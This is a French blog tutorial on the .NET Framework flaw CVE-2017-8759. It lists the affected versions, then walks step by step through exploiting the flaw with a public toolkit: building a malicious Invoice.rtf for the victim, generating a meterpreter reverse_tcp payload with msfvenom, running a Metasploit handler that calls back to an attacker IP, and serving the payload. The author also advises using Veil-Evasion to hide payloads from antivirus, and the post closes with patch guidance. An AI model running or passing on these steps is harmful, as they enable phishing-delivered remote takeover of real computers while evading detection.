La faille de Microsoft .NET Framework (CVE-2017-8759) : Explications, Exploitation et Contre-mesures

0
654

Une vulnérabilité d’exécution de code à distance existe lorsque Microsoft .NET Framework  traite une valeur d’entrée inconnue menant à un dépassement de tampon (buffer overflow). Cette vulnérabilité est identifiée comme CVE-2017-8759.

Les versions suivantes sont affectées:

    • Microsoft .NET Framework 4.6.2
    • Microsoft .NET Framework 4.6.1
    • Microsoft .NET Framework 3.5.1
    • Microsoft .NET Framework 4.7
    • Microsoft .NET Framework 4.6
    • Microsoft .NET Framework 4.5.2
    • Microsoft .NET Framework 3.5
    • Microsoft .NET Framework 2.0 SP2

Un attaquant qui exploite avec succès cette vulnérabilité dans un logiciel utilisant le Framework .NET peut prendre le contrôle d’un système affecté. Un attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes avec des droits d’administrateur. Pour exploiter la vulnérabilité, un attaquant devrait d’abord convaincre l’utilisateur d’ouvrir un document ou une application malveillante.

 

Vidéo : Comment exploiter cette vulnérablité


Les différentes étapes qui ont été adoptées :

1) Télécharger l’exploit

https://github.com/bhdresh/CVE-2017-8759

2) Générer le fichier malicieux sous format RTF
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt

  • 192.168.56.1 représente l’adresse de l’attaquant
  • Invoice.rtf représente le fichier malicieux qu’on doit envoyer à la victime

3) Générer le payload avec msfvenom
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

NB : En générant le payload avec msfvenom, le fichier sera considéré comme étant un virus par la plupart des antivirus. Je vous conseille d’utiliser https://github.com/Veil-Framework/Veil-Evasion pour rendre indétectable vos payloads. Il existe aussi d’autres alternatives comme shelter par exemple.

4) Démarrer Metasploit
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
5) Démarrer l’outil en mode exploitation pour délivrer le payload
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

Comment corriger cette vulnérabilité ?

Le correctif est disponible au téléchargement sur catalog.update.microsoft.com. Une solution a été publiée immédiatement après la publication de la vulnérabilité.

Vérifiez que votre version du produit de .NET figure dans la liste des produits impactées:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2…

Vérifiez via l’option « Download » dans la même liste, qu’une mise à jour est disponible pour votre version spécifique du produit et installez la mise à jour.
Il est possible que plusieurs versions du Framework .NET soient installées en même temps sur un ordinateur. Les correctifs doivent être installés pour toutes les versions pour que la vulnérabilité soit corrigée. Les utilisateurs peuvent vérifier quelles versions du Framework .Net sont installées en suivant la démarche décrite sur le site suivant: https://support.microsoft.com/fr-fr/help/318785/how-to-determine-which-v…

La prise d’écran ci-dessous décrit les étapes à suivre pour vérifier la version du Framework .NET qui est installé sur votre ordinateur :

Résumé

Il est possible d’exploiter cette vulnérabilité de plusieurs manières. Au moment de l’ouverture de ce document par le destinataire, un script Visual Basic et PowerShell sera téléchargé et exécuté, ce qui entraînera l’infection de l’ordinateur.

Merci 🙂

Source : 

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759

https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

LAISSER UN COMMENTAIRE

Please enter your comment!
Please enter your name here